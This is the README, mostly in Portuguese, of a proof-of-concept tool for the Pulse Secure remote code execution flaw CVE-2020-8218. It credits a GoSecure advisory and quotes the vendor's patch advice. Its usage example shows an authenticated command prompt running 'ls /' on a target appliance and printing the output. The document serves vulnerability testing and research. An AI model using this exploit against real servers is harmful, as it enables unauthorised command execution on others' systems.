
Tool to test for existence of CVE-2020-8218
_____ _____ _____ _____ _____
/\ \ /\ \ /\ \ /\ \ /\ \
/::\ \ /::\____\ /::\____\ /::\ \ /::\ \
/::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \
/::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \
/:::/\:::\ \ /:::/ / /:::/ / /:::/\:::\ \ /:::/\:::\ \
/:::/__\:::\ \ /:::/ / /:::/ / /:::/__\:::\ \ /:::/__\:::\ \
/::::\ \:::\ \ /:::/ / /:::/ / \:::\ \:::\ \ /::::\ \:::\ \
/::::::\ \:::\ \ /:::/ / _____ /:::/ / ___\:::\ \:::\ \ /::::::\ \:::\ \
/:::/\:::\ \:::\____\ /:::/____/ /\ \ /:::/ / /\ \:::\ \:::\ \ /:::/\:::\ \:::\ \
/:::/ \:::\ \:::| ||:::| / /::\____\/:::/____/ /::\ \:::\ \:::\____\/:::/__\:::\ \:::\____\
\::/ \:::\ /:::|____||:::|____\ /:::/ /\:::\ \ \:::\ \:::\ \::/ /\:::\ \:::\ \::/ /
\/_____/\:::\/:::/ / \:::\ \ /:::/ / \:::\ \ \:::\ \:::\ \/____/ \:::\ \:::\ \/____/
\::::::/ / \:::\ \ /:::/ / \:::\ \ \:::\ \:::\ \ \:::\ \:::\ \
\::::/ / \:::\ /:::/ / \:::\ \ \:::\ \:::\____\ \:::\ \:::\____\
\::/____/ \:::\__/:::/ / \:::\ \ \:::\ /:::/ / \:::\ \::/ /
~~ \::::::::/ / \:::\ \ \:::\/:::/ / \:::\ \/____/
\::::::/ / \:::\ \ \::::::/ / \:::\ \
\::::/ / \:::\____\ \::::/ / \:::\____\
\::/____/ \::/ / \::/ / \::/ /
~~ \/____/ \/____/ \/____/
Ferramenta de prova de conceito para testar a existência da RCE do Pulse Secure (CVE-2020-8218) e incentivar mais pesquisas. Esta ferramenta foi construída com base no POC do advisory da GoSecure. Todo o crédito a eles pela descoberta.
Conforme recomendado pela Pulse Secure: "A solução para essas vulnerabilidades é atualizar o software do servidor Pulse Connect Secure e Pulse Policy Secure para a versão 9.1R8. Esta versão PCS/PPS pode ser baixada em https://my.pulsesecure.net."
Exemplo de uso:
withdk@hogwarts source % python pulse-gosecure-rce.py -u https://192.168.1.120 --user admin --password mypassword
[*] Login bem-sucedido
(Cmd) ls /
[*] Enviando comando ls /
[*] Enviando exploit...
[*] Obtendo saída...
******************************************
2.6.32.358-x86_64
bin
boot
cgroups
data
dev
etc
home
lib
lib64
modules
opt
pkg
proc
runtime
sbin
sys
tmp
usr
va
var
webserver
******************************************
(Cmd) exit
Tchau
[*] Obtendo URL de logout
[*] Enviando URL de logout
[*] Logout bem-sucedido.
DK @withdk
Setembro de 2020
O SOFTWARE É FORNECIDO "COMO ESTÁ", SEM GARANTIA DE QUALQUER TIPO, EXPRESSA OU IMPLÍCITA, INCLUINDO MAS NÃO SE LIMITANDO ÀS GARANTIAS DE COMERCIALIZAÇÃO, ADEQUAÇÃO A UM PROPÓSITO ESPECÍFICO E NÃO VIOLAÇÃO. EM NENHUM CASO OS AUTORES OU TITULARES DOS DIREITOS AUTORAIS SERÃO RESPONSÁVEIS POR QUALQUER RECLAMAÇÃO, DANOS OU OUTRA RESPONSABILIDADE, SEJA EM UMA AÇÃO DE CONTRATO, ATO ILÍCITO OU DE OUTRA FORMA, DECORRENTE DE, OU EM CONEXÃO COM O SOFTWARE OU O USO OU OUTRAS NEGOCIAÇÕES NO SOFTWARE.